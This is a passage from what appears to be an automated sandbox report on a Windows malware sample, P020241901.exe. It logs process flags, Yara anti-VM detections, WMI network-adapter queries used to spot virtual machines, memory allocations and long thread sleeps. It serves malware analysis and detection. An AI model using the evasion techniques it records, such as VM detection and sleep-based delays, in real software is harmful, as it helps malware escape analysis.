Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: Process Memory Space: P020241901.exe PID: 4204, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: VKkzqGUhsZwwm.exe PID: 7260, type: MEMORYSTR

Queries sensitive network adapter information (via WMI, Win32_NetworkAdapter, often done to detect virtual machines)

Source: C:\Users\user\Desktop\P020241901.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_NetworkAdapterConfiguration

Source: C:\Users\user\Desktop\P020241901.exe	Memory allocated: 970000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Memory allocated: 2580000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Memory allocated: 2390000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Memory allocated: 7340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Memory allocated: 6D20000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Memory allocated: 8340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Memory allocated: 9340000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Memory allocated: 2800000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Memory allocated: 2A00000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Memory allocated: 2840000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Memory allocated: B90000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Memory allocated: 2630000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Memory allocated: 2470000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Memory allocated: 6FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Memory allocated: 69E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Memory allocated: 6FC0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Memory allocated: 2A60000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Memory allocated: 2AF0000 memory reserve \| memory write watch
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Memory allocated: 4AF0000 memory reserve \| memory write watch

Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2478	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2389	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Window / User API: threadDelayed 4323	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe	Window / User API: threadDelayed 5507	Jump to behavior
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Window / User API: threadDelayed 2000
Source: C:\Users\user\AppData\Roaming\VKkzqGUhsZwwm.exe	Window / User API: threadDelayed 7850

Source: C:\Users\user\Desktop\P020241901.exe TID: 6656	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4580	Thread sleep count: 2478 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1992	Thread sleep count: 110 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7208	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4160	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7212	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6224	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep count: 31 > 30	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -28592453314249787s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -100000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -99888s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7324	Thread sleep count: 4323 > 30	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -99774s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -99661s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -99531s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7324	Thread sleep count: 5507 > 30	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -99422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -99186s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -99077s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -98965s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -98843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -98734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -98625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -98501s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -98375s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -98265s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -98156s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -98047s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -97937s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -97828s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -97718s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -97609s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -97500s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -97390s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -97281s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -97171s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -97062s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -96953s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -96843s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -96734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -96625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\P020241901.exe TID: 7296	Thread sleep time: -96515s >= -30000s	Jump to behavior
